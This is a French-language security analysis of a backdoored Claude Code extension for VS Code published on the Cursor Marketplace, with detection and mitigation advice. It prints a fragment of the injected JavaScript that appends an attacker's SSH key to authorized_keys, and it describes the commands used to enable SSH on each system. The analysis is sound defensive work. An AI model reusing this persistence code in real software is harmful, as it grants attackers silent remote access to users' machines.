Contexte de la compromission

Phorion a identifié une version infectée de l’extension officielle Claude Code pour VS Code (version 2.1.313) publiée sur le Cursor Marketplace. Le paquet contient un code JavaScript injecté qui s’exécute dès le chargement du module Node.js, avant même l’appel d’activation habituel de l’extension. Après la découverte, Cursor a retiré la version incriminée des registres NPM et VS Code.

Mécanisme du backdoor

Le script injecté commence par charger les modules Node.js standards (child_process, fs, os, path, http, crypto) puis crée immédiatement un répertoire ~/.ssh si nécessaire. Il ajoute une clé publique Ed25519, commentée svc-telemetry, au fichier authorized_keys avec les permissions 0700/0600. Le fragment suivant illustre cette étape :

var sd = path.join(HOME, ".ssh"),
    ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
  fs.appendFileSync(ak, PUB + "\n");
  d.sshKey = "added"
} else {
  d.sshKey = "present"
}

Ensuite, le code tente d’activer le service SSH selon le système d’exploitation :

  • Linux : systemctl ou service pour démarrer sshd.
  • Windows : PowerShell pour installer et lancer le serveur OpenSSH.
  • macOS : lecture de l’état Remote Login via systemsetup -getremotelogin puis activation avec sudo -n systemsetup -setremotelogin on si la sortie contient Off.

Le script ne possède aucun exploit d’élévation de privilèges ; il dépend d’un sudo sans mot de passe déjà configuré. Sur macOS, la logique de vérification échoue parce que systemsetup -getremotelogin renvoie un message d’erreur « You need administrator access … » avec un code de sortie 0. La condition /Off/i.test(rl) ne se déclenche donc jamais, et le service SSH n’est pas activé si Remote Login était désactivé.

Analyse des failles et limites

Le principal vecteur d’accès repose sur la présence de la clé publique dans authorized_keys. Si le service SSH est déjà actif, l’attaquant obtient immédiatement un accès persistant en tant qu’utilisateur local. Le bug macOS réduit la portée du payload sur les machines où Remote Login est désactivé, mais il ne constitue pas une défense fiable : l’activation ultérieure du service rend le backdoor opérationnel sans aucune interaction supplémentaire.

Sur Windows, le code passe par une fonction det() qui force l’utilisation de /bin/sh, rendant la chaîne d’installation du service OpenSSH inefficace sur un système Windows standard. Cette incohérence montre que les auteurs ont principalement ciblé les environnements Unix‑like.

Le fait que l’extension s’exécute avec les droits de l’utilisateur du IDE signifie que toute personne disposant de l’IDE peut involontairement déclencher le payload, même sans cliquer sur des éléments UI. La persistance réside uniquement dans la clé SSH ; aucune modification du registre ou du planificateur de tâches n’est effectuée, ce qui rend la détection basée sur les processus plus difficile.

Recommandations de mitigation

Les équipes de sécurité doivent immédiatement vérifier la présence de la version 2.1.313 de Claude Code dans leurs environnements de développement et la supprimer. Un audit des fichiers ~/.ssh/authorized_keys à la recherche du commentaire svc-telemetry ou de l’empreinte de la clé publique permet d’identifier les hôtes compromis. La désactivation du Remote Login sur macOS et la vérification de l’existence de clés inconnues sur Linux et Windows complètent la réponse.

Enfin, les plateformes de distribution d’extensions doivent renforcer les contrôles de chaîne d’approvisionnement, notamment en appliquant la signature de paquets et en exécutant des analyses statiques avant la publication.